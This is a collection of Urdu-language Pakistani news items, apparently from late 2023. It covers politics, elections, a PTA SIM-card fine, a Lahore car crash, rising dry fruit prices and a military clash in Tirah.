اس موقع پر مسلم لیگ ن کے قائد نواز شریف نے کہا کہ بلوچستان کی ترقی ہمیشہ سے عزیز رہی ہےبلوچستان میں ہزاروں کلومیٹرسڑکوں کا جال بچھانے کا سلسلہ شروع کیا تاکہ غربت اور پسماندگی کا خاتمہ ہوسکے۔گوادر سے کوئٹہ تک عوام کو سفرکی بہترین سہولیات فراہم کیں گوادرکوئٹہ سڑک کی تعمیر سے 2 دن کا سفرکم ہوکر آٹھ گھنٹے رہ گیا ہے۔
انہوں نے کہا کہ گوادرسےخضداراوررتوڈیروشاہراہ تعمیرکرکےجنوبی بلوچستان کوسندھ سے جوڑا ہے،ہکلہ اورڈی آئی خان روڈ،ہگلہ اورڈی آئی خان کی بنیادہم نےرکھی تھی ،اس منصوبے پر4سال کام رُکارہا،وزیراعظم شہبازشریف نےدوبارہ کام شروع کرایایارک ساگوژوب شاہراہ کودورویہ اوربہتربنانے،این50 سےملانےکاکام ہم نےشروع کیا۔بسیمہ سےخضدارتک شاہراہ تعمیر کی گئی خاران کی سڑک کی تعمیرکاآغازکیاجوتقریباً تکمیل کےقریب ہے

اپنی سم استعمال نہ کرنے پر اب صارفین جرمانہ بھریں گے

پاکستان ٹیلی کمیونیکیشن اتھارٹی (پی ٹی اے) نے 6 ماہ سے اپنی موبائل سم استعمال نہ کرنے والے صارفین پر جرمانہ عائد کرنے کا فیصلہ کر لیا۔
پی ٹی اے کے مطابق پاکستان میں سیلولر موبائل آپریٹرز عوام کو سمز مفت فراہم کرتے ہیں اور لوگوں کے پاس ضرورت سے زیادہ سمز بھی ہوتی ہیں، جس کی وجہ سے بہت سی سمز استعمال نہیں ہوتیں۔
موبائل فون سم استعمال نہ کرنے کا نوٹس لیتے ہوئے پی ٹی اے نے ان لوگوں پر 200 روپے جرمانے کا اعلان کیا جنہوں نے 6 ماہ سے اپنی موبائل سمز استعمال نہیں کیں۔
پی ٹی اے کے مطابق یکم جنوری 2024 سے پاکستان اور آزاد جموں و کشمیر، گلگت بلتستان میں 6 ماہ سے کم مدت سے زیراستعمال موبائل سمز کی واپسی پر موبائل فون آپریٹرز 200 روپے تک چارجز لاگو کرنے کے مجاز ہوں گے۔
پی ٹی اے نے تمام صارفین کو 31 دسمبر 2023 تک بلا معاوضہ غیر ضروری سمز کو واپس کرنے کا مشورہ دیا ہے اور بروقت سم واپس کرنے پر صارفین سم کو ختم کرنے کے چارجز سے بچ سکتے ہیں اور سمز کے ذمہ دارانہ استعمال میں اپنا حصہ ڈال سکتے ہیں۔
پی ٹی اے نے کہا ہے کہ صارفین کی معلومات یا رضامندی کے بغیر غیرقانونی سم جاری کرنے کی صورت میں سم کو ایک بار بلامعاوضہ ختم کرنے کی اجازت ہو گی۔
صارفین اپنی رجسٹرڈ سمز کی حیثیت چیک کرنے کے لیے درج ذیل طریقے استعمال کر سکتے ہیں: ویب سائٹ https://cnic.sims.pk/ پر جا کر یا اپنا شناختی کارڈ نمبر (بغیر ڈیش کے) درج کریں یا 668 پر ایس ایم ایس بھیجیں (ایس ایم ایس کے چارجز لاگو ہوتے ہیں)۔

موسم سرما کی آمد ، خشک میوہ جات کی قیمتیں آسمان سے باتیں کرنے لگیں

موسم کی سرما کی آمد کیساتھ خشک میوہ جات کی قیمتیں آسمان سے باتیں کرنےگیں۔ اتفصیلات کے مطابق سردی کی آمد کے ساتھ ہی خشک میوہ جات کی جہاں مانگ میں اضافہ ہوا ہے وہیں ان کے نرخ میں بھی بے تحاشا اضافہ ہو گیا ، جس کے باعث متوسط طبقہ ڈرائی فروٹ خریدنے کی سکت سے دور ہو گیا ہے۔ چلغوزہ 14500 روپے کلو میں فروخت ،بادام چھلکے والا 1400 روپے کلو، اخروٹ 1000 روپے کلو ،سوگی 1200 روپے کلو، بادام گری 3100 روپے کلو ،مکس خشک میوہ جات 2400، خوبانی 1400 روپے میں فروخت ہورہی ہیں ،بڑھتی ہوئی قیمتوں سے شہریوں کی قوت خرید متاثر ہونے لگیں اور ڈرائی فروٹ مارکیٹس ویران پڑ گئیں۔
دکاندار کا کہناہے کہ برآمد رکنے کے باعث قیمتوں میں اضافہ ہوا،سامان مہنگا خریدتے ہیں تبھی مہنگا بیچنے ہر مجبور ہیں، جبکہ شہریوں کا کہناہے کہ پچھلے سال کے مقابلے چیزوں کی قیمتوں میں دو گنا اضافہ ہو گیا ہے،پہلے اگر 10 لوگوں کو ڈرانے فروٹ تحفہ دیتے تھے تو اب بس دو کو دے پاتے ہیں۔

لاہور میں کرتب دکھانے والی کار بے قابو، چار سال کی بچی سمیت چھ افراد جاں بحق

لاہورکےعلاقے ڈیفنس فیزسیون میں کرتب دکھاتی بے قابو کار نے گاڑی کو ٹکر ماردی ۔ چار سال کی بچی سمیت ایک ہی خاندان کےچھ افراد جاں بحق ہوگئے۔پولیس نے سولہ سالہ ڈرائیور افنان کو گرفتار کرکے مقدمہ درج کر لیا۔
رپورٹس کے مطابق لاہورکےعلاقے ڈیفنس فیزسیون میںسولہ سالہ اناڑی ڈرائیور نے ایک خاندان کی دنیا اجاڑدی ہےحادثےمیں ایک ہی خاندان کے چھ افراد کی ہلاکت کےبعد علاقےکی فضا سوگوار ہرآنکھ اشکبار ہے۔
شاداب ٹاون کا رہائشی خاندان تقریب میں شرکت کےبعدواپس آرہاتھاکہ ڈیفنس فیزسیون میں رات گیارہ کےقریب زگ زیگ کرتی کارنےٹکرماردی۔ ساراواقعہ فیملی کےسربراہ رفاقت کی آنکھوں کےسامنےہوا ہے۔ حادثے میں رفاقت کی اہلیہ 45 سالہ رخسانہ، بیٹا 27 سالہ حسنین، بہو 23 سالہ عائشہ، چارماہ کا پوتا حذیفہ، تیس سالہ داماد سجاد اور چار سالہ نواسی انابیہ جاں کی بازی ہار گئے۔
جاں بحق افرادکےلواحقین نےالزام عائد کیاہےکہ ملزم لڑکےکوحوالات میں سہولیات دی جا رہی ہیں۔ پولیس نےتیزرفتاری، غفلت، لاپرواہی کی دفعات کےتحت مقدمہ درج کرلیا۔وزیراعلیٰ پنجاب محسن نقوی نے ذمہ دار ڈرائیور کیخلاف سخت کارروائی کا حکم دیا ہے۔

ن لیگ اور ایم کیو کیو سیاسی اور عدالتی نظام میں اصلاحات کیلئے مل کر کام کرنے پر متفق

مسلم لیگ ن اور ایم کیو ایم پاکستان سیاسی اور عدالتی نظام میں اصلاحات کیلئے مل کر کام کرنے پر متفق ہوگئے۔ خواجہ سعد رفیق کا کہنا ہے کہ میثاق جمہوریت کو آگے بڑھائیں، اب میثاق معیشت کریں، وقت کم ہے ہم مشترکہ سیاسی ایجنڈا قوم کے سامنے لانا چاہتے ہیں۔ ڈاکٹر خالد مقبول صدیقی نے کہا کہ ہمیں پاکستان کے آئین کو مضبوط اور عوام دوست بنانا چاہئے، حکمران دوست آئین سے کام نہیں چلے گا، ہمارا مطالبہ ہے کہ جس طرح وفاق اور صوبوں کی حکومت کو آئینی تحفظ حاصل ہے ایسے ہی بلدیاتی حکومتوں کو بھی آئینی تحفظ حاصل ہونا چاہئے۔
کراچی میں مسلم لیگ ن کے وفد نے ایم کیوایم پاکستان کے دفتر کا دورہ کیا، وفد میں خواجہ سعد رفیق، ایاز صادق اور بشیر میمن شامل تھے، ایم کیو ایم پاکستان کے کنوینر ڈاکٹر خالد مقبول صدیقی، مصطفیٰ کمال، ڈاکٹر فاروق ستار سمیت دیگر رہنماؤں نے ن لیگی وفد کا استقبال کیا۔
ملاقات کے بعد ن لیگ اور ایم کیو ایم پاکستان کے رہنماؤں نے میڈیا سے مشترکہ گفتگو کی۔ خواجہ سعد رفیق نے کہا کہ ایم کیو ایم قیادت کا شکر گزار ہوں انہوں نے ہمیں ویلکم کیا، وقت آگیا ہے وسائل کی منصفانہ تقسیم کا فارمولا طے کیا جائے، ن لیگ اور ایم کیو ایم کے اشتراک کی برکت سے پورا پاکستان مستفید ہوگا، الیکشن سے پہلے الیکٹورل ایڈجسٹمنٹ ضروری ہے، ایم کیو ایم اور ن لیگ کی 2 ٹیمز کام کررہی ہیں، چند روز میں ناموں کا اعلان ہوگا۔
ان کا کہنا ہے کہ وسائل کی منصفانہ تقسیم کا عمل صوبوں سے آگے بڑھنا چاہئے، میثاق جمہوریت کو آگے بڑھائیں، اب میثاق معیشت کریں، سیٹوں کی تقسیم پر کوئی بات نہیں ہوئی، پہلے مذاکرات میں اولین ترجیح سیٹوں کی تقسیم ہوتی تھی، بنیادی کام یہ ہے کہ اصلاحات کی طرف بڑھا جائے۔
سابق وفاقی وزیر نے کہا کہ ایم کیو ایم کے جدوجہد کرنیوالے لوگوں سے ملاقات کی، اس سے قبل جمعیت علمائے اسلام ف کی قیادت اور پیر صاحب پگارا سے بھی ملے، ہماری کوشش ہوگی کہ سندھ میں ایسا اتحاد وجود میں آئے جو عوامی امنگوں کی ترجمانی کرتا ہو۔
خواجہ سعد رفیق کا کہنا ہے کہ ماضی میں جیسے کراچی کو کھنڈر بنایا گیا اور سندھ کے دیگر علاقوں کو نظر انداز کیا گیا ہم چاہتے ہیں کہ آئندہ ایسا نہ ہو، ایسا نہ ہو کہ سندھ میں ووٹ کسی کو پڑے اور پرچی کسی اور کی نکلے، دھاندلی کو ہم سب نے مل کر روکنا ہے۔
ملک کو آگے لے جانے کی ذمہ داری صرف ن لیگ کی نہیں اداروں اور باقی جماعتوں کی بھی ہے، نظام عدل میں اصلاحات ہمارے منشور میں اولین ترجیح ہے، ججز کی تقرری سمیت دیگر امور پر بھی بات کریں گے، بیورو کریسی میں اصلاحات بھی ہمارے منشور کا حصہ ہے، نیب کے قانون کو تسلیم نہیں کرتے، ہم مشترکہ سیاسی ایجنڈا قوم کے سامنے لانا چاہتے ہیں۔
ایم کیو ایم پاکستان کے کنوینر ڈاکٹر خالد مقبول صدیقی کا کہنا تھا کہ ہمیں پاکستان کے آئین کو مضبوط اور عوام دوست بنانا چاہئے، حکمران دوست آئین سے کام نہیں چلے گا، آئین کو اس قابل بنانا ہوگا کہ وہ عام آدمی کا تحفظ اور اس کے حقوق کی حفاظت کرسکے

توشہ خانہ کیس، عدالت نے نواز شریف کی ضبط شدہ جائیداد اور اثاثے واپس کرنے کا حکم دیدیا

توشہ خانہ کیس میں احتساب عدالت اسلام آباد نے نوازشریف کی جائیداد ضبطگی کے احکامات واپس لے لئے۔
احتساب عدالت نے نواز شریف کی ضبط شدہ جائیداد اور اثاثے واپس کرنے اور ان کی گاڑیاں بھی واپس کرنے کا حکم دے دیا۔
احتساب عدالت نے نواز شریف کے بینک اکاؤنٹس بھی بحال کرنے کا حکم دیا، احتساب عدالت کے جج محمد بشیر نے نواز شریف کی جائیداد واپسی کے احکامات جاری کیے۔
2020میں نوازشریف کو اشتہاری قرار دینے کے بعد جائیداد ضبطگی کے احکامات جاری ہوئے تھے، سابق وزیراعظم کی لاہور میں 1650 کنال سے زائد زرعی اراضی اور گاڑیاں ضبط ہوئی تھیں

مسلم لیگ ن اور ایم کیو ایم پاکستان میں دوسری ملاقات طے ہوگئی

مسلم لیگ (ن) اور متحدہ قومی موومنٹ (ایم کیوایم) پاکستان میں دوسری ملاقات طے ہوگئی۔
مسلم لیگ (ن) کا اعلیٰ سطح کا وفد ہفتے کے روز کراچی پہنچے گا، کراچی میں ن لیگ کا وفد ایم کیوایم اور فنکشنل لیگ کے رہنماؤں سے ملاقات کرے گا۔
ذرائع کے مطابق ن لیگی رہنماؤں کا پارٹی قائد اور سابق وزیر اعظم نوازشریف کا پیغام ایم کیوایم اور فنکشنل لیگ کے رہنماؤں کو پہنچائے گا۔
ذرائع کا کہنا ہے کہ کراچی میں پاکستان مسلم لیگ (ن) کا وفد دیگر سیاسی رہنماؤں سے بھی ملاقاتیں کرے گا۔
واضح رہے کہ 2 روز قبل مسلم لیگ ن اور متحدہ قومی موومنٹ پاکستان (ایم کیو ایم) نے عام انتخابات 2024 ملکر لڑنے کا اعلان کیا تھا۔
الیکشن مل کر لڑنے کا اعلان متحدہ قومی موومنٹ پاکستان کے وفد اور مسلم لیگ ن کے قائد نواز شریف کے درمیان ملاقات کے بعد کیا گیا تھا۔
سیاسی بیٹھک میں ن لیگ کی جانب سے نواز شریف، شہباز شریف، مریم نواز، رانا ثناء جبکہ ایم کیو ایم کے خالد مقبول صدیقی، فاروق ستار اور مصطفی کمال سمیت دیگر رہنما موجود تھے۔

خوشخبری !!ڈرائیونگ لائسنس بنوانا اور بھی آسان ہوگیا

کراچی کے شہریوں کیلئے ڈرائیونگ لائسنس بنانا اب ہوا آسان, شہری اب آن لائن اور کیو میٹرک سہولیات کا فائدہ اٹھاتے ہوئے بغیر کسی مشکل کے لائسنس بنواسکتے ہیں۔ کراچی میں ایک دور میں ڈرائیونگ لائسنس بنوانا کافی مشکل سمجھا جاتا تھا لیکن جیسے جیسے ٹیکنالوجی بڑھتی جارہی ہے، لائسنس کے اجراء میں بھی آسانیاں پیدا ہوتی جارہی ہیں۔ آن لائن اپائٹمنٹ لینے والے سب سے زیادہ فائدے میں رہیں گے کیونکہ انہیں اپنی باری کیلئے بالکل انتظار نہیں کرنا پڑے گا جبکہ ڈائریکٹ آنے والے صارفین کیلئے کیو میٹرک سسٹم بھی لگادیا گیا ہے۔ لائسنس برانچز میں بائیومیٹرک نظام کے باعث اب لرننگ لائسنس لینا ہو یا اسے پرماننٹ کروانا ہو، سب کچھ کم وقت میں ہونا اب ممکن ہے۔ ڈی آئی جی ڈرائیونگ لائسنس کے مطابق لائسنس کی تجدید کیلئے آنے والوں کی آسانی کیلئے ایک علیحدہ ہال بھی مختص کیا جارہا ہے
ڈرائیونگ لائسنس انتظامیہ نے شہریوں سے اپیل کی ہے کہ وہ ایجنٹ مافیا سے ہوشیار رہیں اور عملے کی جانب سے کوئی شکایت ہو تو اس کی شکایت ڈی آئی جی آفس میں کریں۔

چار روزہ سمارٹ لاک ڈاؤن

پنجاب کے مخصوص شہروں میں سموگ ایمرجنسی کے دوران چار روزہ سمارٹ لاک ڈاؤن کل سے ہوگا۔ اس حوالے سے ڈی آئی جی آپریشنز نے لاک ڈاؤن پر عملدرآمد کیلئے ڈویژنل ایس پیز، ایس ڈی پی اوز اور ایس ایچ اوز کو ہدایات بھی جاری کر دی ہیں۔ خیال رہے کہ چار دن کے اس لاک ڈان میں تمام دکانیں، ریسٹورنٹ و دیگر کاروباری مراکز بند رہیں گے۔
ڈی آئی جی آپریشنز علی جاصر رضوی کا اس حوالے سے کہنا تھا کہ تمام ڈویژنل ایس پیز، ایس پی ڈولفن، ایس پی سیکیورٹی اور ایس پی ہیڈکوارٹرز اس سمارٹ لاک ڈاؤن پر عملدرآمد ہر صورت یقینی بنائیں۔ ان کا مزید کہنا تھا کہ لاک ڈاؤن پر عملدرآمد کیلئے 185 اضافی ناکے لگائے جائیں گے

 انتخابات کیلئے تیار ہیں ، تمام ضروری تیاری کرلی ہے، چیف الیکشن کمشنر

چیف الیکشن کمشنر سکندر سلطان راجہ کی نگران وزیراعظم انوار الحق کاکڑ سے ملاقات ہوئی جس میں انتخابات کی تیاریوں سے متعلق آگاہ کیا گیا۔
الیکشن کمیشن کے اعلامیے کے مطابق ملاقات میں چیف الیکشن کمشنر نے نگران وزیر اعظم کو انتخابات کی تیاریوں سے متعلق بریفنگ دی۔
چیف الیکشن کمشنر سکندر سلطان راجہ نے وزیر اعظم کو بتایا کہ الیکشن کمیشن نے 8 فروری 2024 کے عام انتخابات کیلئے تمام ضروری تیاری کرلی ہے، پولنگ اسٹیشنز، پولنگ اسٹاف کی فہرستیں بھی تیار کرلی گئی ہیں۔
چیف الیکشن کمشنر کا کہنا تھا کہ الیکشن مٹیریل کی پرنٹنگ کا کام بھی آخری مراحل میں ہے جبکہ انتخابی فہرستیں اپ ڈیٹ کرنے کا کام بھی تکمیل کے مراحل میں ہے۔
سکندر سلطان راجہ نے وزیر اعظم کو بتایا کہ جلد ہی تمام اضلاع میں انتخابی فہرستیں پہنچا دی جائیں گی، الیکشن کمیشن بروقت انتخابات کے انعقاد، انتخابی شیڈول جاری کرنے کا پابند ہے، الیکشن کمیشن آئینی ذمہ داریوں کو خوش اسلوبی سے انجام دے گا۔
دوسری جانب نگران وزیراعظم انوار الحق کاکڑ نے کہا کہ الیکشن کمیشن کو انتخابات کے لیے درکار فنڈز اور مطلوبہ سکیورٹی کو یقینی بنایا جائے گا ، الیکشن کمیشن سے بھرپور تعاون کریں گے ۔
اس کے علاوہ چیف الیکشن کمشنر نے وزیراعظم کو عام انتخابات کی تیاریوں کا جائزہ لینے کیلئے الیکشن کمیشن کا دورہ کرنے کی دعوت بھی دی۔

43ویں پاکستان آرمی رائفل ایسوسی ایشن مقابلوں کی تقریب اختتام پذیر،آرمی چیف کی شرکت

43ویں پاکستان آرمی رائفل ایسوسی ایشن مقابلوں کی اختتامی تقریب میں آرمی چیف جنرل عاصم منیرنے بطورمہمان خصوصی شرکت کی۔ آرمی چیف اور ایئرچیف نے ٹرافیاں اور میڈلز تقسیم کئے۔
پاک فوج کے شعبہ تعلقات عامہ انٹر سروسز پبلک ریلیشنز پاکستان( آئی ایس پی آر) کے مطابق میگا شوٹنگ ایونٹ کا انعقاد 3 اکتوبر سے7 نومبر 2023 تک ہوا ہے آرمی، نیوی، ایئرفورس، سول آرمڈ فورسز کے2 ہزار فائررز اورشہریوں نےحصہ لیا ہر کیٹیگری میں ایوارڈ جیتنے والوں اوررنراپ کو ٹرافیاں اور میڈلز سے نوازا گیا آرمی چیف اور ایئر چیف نے ٹرافیاں اورمیڈلز تقسیم کئے انٹر سروسز میچز میں پاکستان آرمی نے چاروں مقابلے جیتے ہیں۔
انٹر سروسز پبلک ریلیشنز پاکستان کے مطابق پاکستان نیوی اورایئرفورس نےدوسری اورتیسری پوزیشن حاصل کی،پاکستان آرمی نےمجموعی طور پر چیمپئن شپ ٹرافی حاصل کی،پریذیڈنٹ کپ نیشنل چیلنج میچ کی ٹرافی آرمی نشانہ باز یونٹ کے نائیک وسیم کو دی گئی ،پاک فوج نے پرائم منسٹر اسکلز ایٹ آرمز بگ بورنیشنل چیلنج جیت لیاپیرافائرنگ میچزمیں پاکستان رینجرز پنجاب نے پہلا انعام حاصل کیا۔
آئی ایس پی آر کی پریس ریلیز کے مطابق دی ماسٹر ایٹ آرمز ٹرافی 30 فرنٹیئر فورس رجمنٹ کےلانس نائیک بنارس کو دیا گیابہترین شاٹ میچ ٹرافی میڈیم رجمنٹ آرٹلری کے نائیک شیر افضل کو دی گئی۔
اس موقع پرآرمی چیف جنرل عاصم منیرنے کہا کہ شوٹنگ میں مہارت حاصل کرنا بنیادی فوجی تربیت کے مقاصد میں رہنا چاہیے،آرمی چیف نے فائرنگ کرنے والوں کو نشانے بازی کے بہترین معیار پر سراہاجنرل عاصم منیرنےشوٹنگ کی مہارت کوایک پیشہ ور سپاہی کی پہچان قراردیا ہے۔
آمد پرانسپکٹر جنرل ٹریننگ اینڈ ایویلیوایشن نےآرمی چیف کا استقبال کیا۔

بورڈز کے امتحان میں نمبر ختم ، گریڈ سسٹم رائج ، پاسنگ مارکس 40 فیصد ہونگے

ملک بھر کےتعلیمی بورڈز نے بڑا فیصلہ کرتے ہوئے امتحان میں نمبرز ختم کرتے ہوئے آئندہ سال سے گریڈ سسٹم رائج کرنے کا اعلان کیا ہے۔ کی فیصلہ انٹر بورڈز کمیٹی کوآرڈی نیشن کے 27 اکتوبر کے اجلاس میں کیا گیا۔
انٹر بورڈز کمیٹی کوآرڈی نیشن کے مطابق نئے گریڈنگ فارمولے کے تحت پاسنگ مارکس 40 فیصد ہوں گے ، پہلے مرحلے میں کلاس نہم و انٹر پارٹ ون پر طریقہ لاگو کیا جائے گا۔ امیدواروں کو رزلٹ کارڈز پر گریڈز کے ساتھ سی جی پی اے دیا جائے گا۔
آئندہ سال سے امیدواروں کو رزلٹ کارڈز گریڈ سسٹم کے تحت جاری کیے جائیں گے، پنجاب بورڈ سندھ میں تعلیمی بورڈز کو گریڈنگ سسٹم کے حوالے سے ٹریننگ فراہم کرے گا۔ کمیٹی کے مطابق پورے ملک کے تعلیمی بورڈز میں یکساں طور پر گریڈنگ سسٹم نافذ ہو گا، نیا نظام رٹہ ختم کرنے کیلئے نافذ کیا گیا ہے

سانحہ 9مئی میں پولیس کے 2 انسپکٹرز کے بھی ملوث ہونے کا انکشاف

چیئرمین پی ٹی آئی عمران خان کی گرفتاری کے بعد 9 مئی کو لاہور میں پرتشدد مظاہروں میں پولیس کے دو انسپکٹرز کے بھی ملوث ہونے کا انکشاف ہوا ہے، انویسٹی گیشن ونگ نے دونوں افسران کو ملزم قرار دیدیا۔
پاکستان تحریک انصاف کے چیئرمین عمران خان کو 9 مئی کو اسلام آباد کی عدالت سے گرفتار کیا گیا تھا، جس کے بعد لاہور سمیت ملک کے مختلف شہروں میں پی ٹی آئی کارکنان کی جانب سے پرتشدد احتجاج مظاہرے کئے گئے، اس دوران کور کمانڈر ہاؤس لاہور (جناح ہاؤس) پر بھی حملہ کیا گیا، عمارت کو توڑ پھوڑ کے بعد آگ لگادی گئی تھی۔
سانحہ 9 مئی میں پولیس کے 2 انسپکٹرز بھی ملوث نکلے، انویسٹی گیشن ونگ نے دونوں کو ملزم قرار دے دیا۔ انویسٹی گیشن ونگ نے جناح ہاؤس حملے کے ملزموں کی نئی فہرست مرتب کرلی، جس میں ڈی آئی جی آپریشنز علی رضوی کے پی ایس او انسپکٹر عاصم رفیع اور ایس ایچ او مصطفیٰ آباد للیانی انسپکٹر آصف ذوالفقار کا نام بھی شامل ہے۔
انویسٹی گیشن ونگ کی جانب سے ماڈل ٹاؤن ڈویژن کو فراہم کردہ فہرست میں پولیس کے دونوں انسپکٹرز کے نام اور تصاویر شامل ہیں۔
رپورٹ کے مطابق حملے میں ملوث متعدد کارکنوں کو سزا دلوانے کے بعد نئی لسٹیں بنائی گئیں، ماڈل ٹاؤن ڈویژن کو فراہم کردہ فہرست میں 101 مرد اور خواتین کے نام شامل ہیں۔
واضح رہے کہ 9 مئی واقعے میں ملوث پی ٹی آئی کے کئی کارکنوں کا ٹرائل ملٹری کورٹ میں کرنے کا فیصلہ کیا گیا تھا۔

تیراہ میں دہشت گردوں سے جھڑپ، لیفٹیننٹ کرنل سمیت 4 فوجی شہید

پاک فوج کے شعبہ تعلقات عامہ (آئی ایس پی آر) کے مطابق ضلع خیبر کے علاقے تیراہ میں سیکیورٹی فورسز نے خفیہ اطلاعات پر آپریشن کیا، فورسز سے جھڑپ میں 3 دہشتگرد ہلاک اور 3 زخمی ہوگئے۔
ترجمان پاک فوج کے مطابق دہشتگردوں کیخلاف آپریشن کے دوران فائرنگ کے تبادلے میں لیفٹیننٹ کرنل محمد حسن حیدر اور 3 اہلکار جام شہادت نوش کر گئے۔
آئی ایس پی آر کے مطابق 43 سالہ لیفٹیننٹ کرنل محمد حسن حیدر کا تعلق اسلام آباد سے ہے جبکہ 31 سالہ نائیک خوشدل خان لکی مروت، 27 سالہ نائیک رفیق خان چارسدہ اور 33 سالہ لانس نائیک عبدالقادر مری کے رہائشی تھے۔
ترجمان پاک فوج کا مزید کہنا ہے کہ دہشتگردوں کے خاتمے کیلئے علاقے میں کلیئرنس آپریشن جاری ہے، سیکیورٹی فورسز دہشتگردی کی لعنت کے خاتمے کیلئے پُرعزم ہیں، پاک فوج کے بہادر جوانوں کی ایسی قربانیاں اس عزم کو مزید مضبوط کرتی ہیں
واضح رہے کہ خیبرپختونخوا کے علاقوں ڈیرہ اسماعیل خان اور لکی مروت میں چند روز قبل تین مختلف واقعات میں دہشت گردوں سے مقابلہ کرتے ہوئے پاک فوج کے 3 جوان شہید ہوئے تھے جبکہ فائرنگ کے تبادلے میں خودکش بمبار سمیت 2 دہشت گرد بھی مارے گئے تھے۔
شہداء کی نماز جنازہ ادا
چاروں شہداء کی نماز جنازہ پشاور گیریژن میں ادا کردی گئی، جس میں کور کمانڈر پشاور سمیت حاضر سروس فوجیوں، سول افسران اور عوام نے بڑی تعداد میں شرکت کی۔ شہداء کو پورے فوجی اعزاز کے ساتھ آبائی علاقوں میں سپرد خاک کیا جائے گا۔
تعزیتی پیغامات
صدرمملکت، وزیراعظم، وفاقی وزیر داخلہ، چیئرمین سینیٹ، اسپیکر قومی اسمبلی اور دیگر سیاسی رہنماؤں نے اپنے تعزیتی پیغامات میں شہداء کو بھرپور خراج عقیدت پیش کیا ہے۔
نگران وزیراعظم انوار الحق کاکڑ نے ضلع خیبر کے علاقے تیراہ میں لیفٹیننٹ کرنل محمد حسن حیدر اور تین فوجیوں کی شہادت پر گہرے دکھ اور افسوس کا اظہار کرتے ہوئے اس عزم کا اعادہ کیا ہے کہ پاکستان سے دہشتگردی کے مکمل خاتمے تک اس ناسور کیخلاف جنگ جاری رہے گی۔
وزیراعظم نے شہید لیفٹیننٹ کرنل محمد حسن حیدر نائیک خوشدل خان، نائیک رفیق خان اور لانس نائیک عبدالقدیر کیلئے دعا کی۔ انہوں نے شہداء کے خاندانوں سے اظہار ہمدردی کیا اور ان کیلئے صبر جمیل کی دعا کی۔
انوار الحق کاکڑ نے کہا کہ پوری قوم کو شہداء پر فخر ہے، پاکستان کے امن دشمنوں کے مذموم عزائم کامیاب نہیں ہونے دیئے جائیں گے۔
نگران وزیراعلیٰ پنجاب محسن نقوی نے وادی تیراہ میں دہشت گردوں سے جھڑپ میں لیفٹیننٹ کرنل اور 3 اہلکاروں کی شہادت پر خراج عقیدت پیش کرتے ہوئے کہا کہ ہماری تمام تر ہمدردیاں شہداء کے لواحقین کے ساتھ ہیں، دہشتگردی کے ناسور کے مکمل خاتمے کیلئے قوم یکسو ہے۔
ان کا کہنا ہے کہ اتحاد کی طاقت سے پاک دھرتی سے دہشتگردوں کا ناپاک بوجھ اتار پھینکیں گے، شہداء کی لازوال قربانیوں کو کسی صورت رائیگاں نہیں جانے دیا جائے گا۔
سابق اسپیکر قومی اسمبلی راجہ پرویز اشرف نے اپنے تعزیتی پیغام میں کہا کہ شہادت پانے والے لیفٹیننٹ کرنل سمیت 4 فوجیوں کو خراج عقیدت پیش کرتے ہیں، چاروں نے جانوں کا نذرانہ پیش کرکے بہادری کی لازوال داستان رقم کی ہے۔
ان کا کہنا ہے کہ اسپیکر قومی اسمبلی کا شہداء کے اہلخانہ سے تعزیت اور ہمدردی کا اظہار کرتے ہیں، پوری قوم دہشتگردی کیخلاف سیکیورٹی فورسز کے شانہ بشانہ کھڑی ہے، مشترکہ کوششوں سے جلد دہشت گردی کے ناسور کا خاتمہ کریں گے

عام انتخابات 8 فروری 2024 کو ہونگے، صدر اور الیکشن کمیشن میں اتفاق

صدر مملکت ڈاکٹر عارف علوی اور الیکشن کمیشن آف پاکستان میں عام انتخابات کیلئے 8 فروری کی تاریخ پر اتفاق ہوگیا۔
الیکشن کمیشن کا اعلامیہ
الیکشن کمیشن کی جانب سے صدر مملکت سے ملاقات کے اعلامیہ کے مطابق عام انتخابات کی پولنگ کیلئے 8 فروری کی تاریخ مقرر کی گئی ہے ۔
اعلامیہ میں کہا گیا ہے کہ سپریم کورٹ کے حکم پر چیف الیکشن کمشنر اور ممبران نے صدر مملکت ڈاکٹر عارف علوی سے ملاقات کی،ملاقات میں آئندہ عام انتخابات کی تاریخ پر تبادلہ خیال کیا گیااور صدر کو حلقہ بندیوں اور انتخابات کی پیش رفت سے آگاہ کیا گیا۔
اعلامیہ کے مطابق ملاقات میں تفصیلی بحث کے بعد متفقہ فیصلہ کیا گیا کہ الیکشن 8فروری 2024ء کو ہوں گے۔
ایوان صدر کا اعلامیہ
بعدا زاں ایوان صدر کی جانب سے جاری اعلامیہ میں بھی 8 فروری 2024 کو ملک بھر میں عام انتخابات کرانے پر الیکشن کمیشن کے ساتھ اتفاق کی تصدیق کی گئی۔
ایوان صدرکے اعلامیہ میں کہا گیا کہ سپریم کورٹ کے حکم پر الیکشن کمیشن کا وفد ملاقات کیلئے آیا،وفد اور اٹارنی جنرل نے صدر مملکت عارف علوی سے ملاقات کی۔
اعلامیہ کے مطابق ملاقات میں آئندہ عام انتخابات کی تاریخ پر تبادلہ خیال کیا گیا،اورالیکشن کمیشن نے صدر کو حلقہ بندیوں اور انتخابات کی پیش رفت سے آگاہ کیا
ایوان صدر کے مطابق تفصیلی بحث کے بعد انتخابات 8 فروری 2024ء کو کرانے پر اتفاق کیا گیا۔
الیکشن کمیشن پنجاب کےرکن بابر حسن بھروانہ کی میڈیا سے گفتگو
الیکشن کمیشن کے اجلا س کے بعد میڈیا سے گفتگو کرتے ہوئے الیکشن کمیشن پنجاب سے رکن بابر حسن بھروانہ نے کہا کہ صدر نے چار فروری کو انتخابات کا کہا مگر الیکشن کمیشن نے کہا کہ انتیس یا تیس جنوری تک ان کا سارا عمل مکمل ہو گا اور تین چار دن اوپر احتیاطاً مانگے ۔اس کے علاوہ موسم کی صورتحال بھی زیربحث آئی ۔
چیف الیکشن کمشنرسکندرسلطان راجہ کی میڈیا سے گفتگو
چیف الیکشن کمشنرسکندرسلطان راجہ نے الیکشن کی تاریخ پر اتفاق کے بعد کہا ہےکہ صدرسے ملنے سے انکارنہیں کیا،فیصلہ کمیشن کاتھاسارے ادارےمحترم ہیں،صدرنےاچھےطریقےسےخوش آمدید کہا، سب نےتصاویردیکھی ہوں گی،الیکشن کمیشن اپنےمؤقف پرکھڑاہےالیکشن کمیشن کامؤقف تھاملک میں انتحابات ایک ساتھ ہوں

ایف پی سی سی آئی، فیڈریشن آف پاکستان چیمبر آف کامرس اینڈ انڈسٹری کی ویمن اسٹائل، بیوٹی اینڈ سکن کیئر کمیٹی کا اجلاس

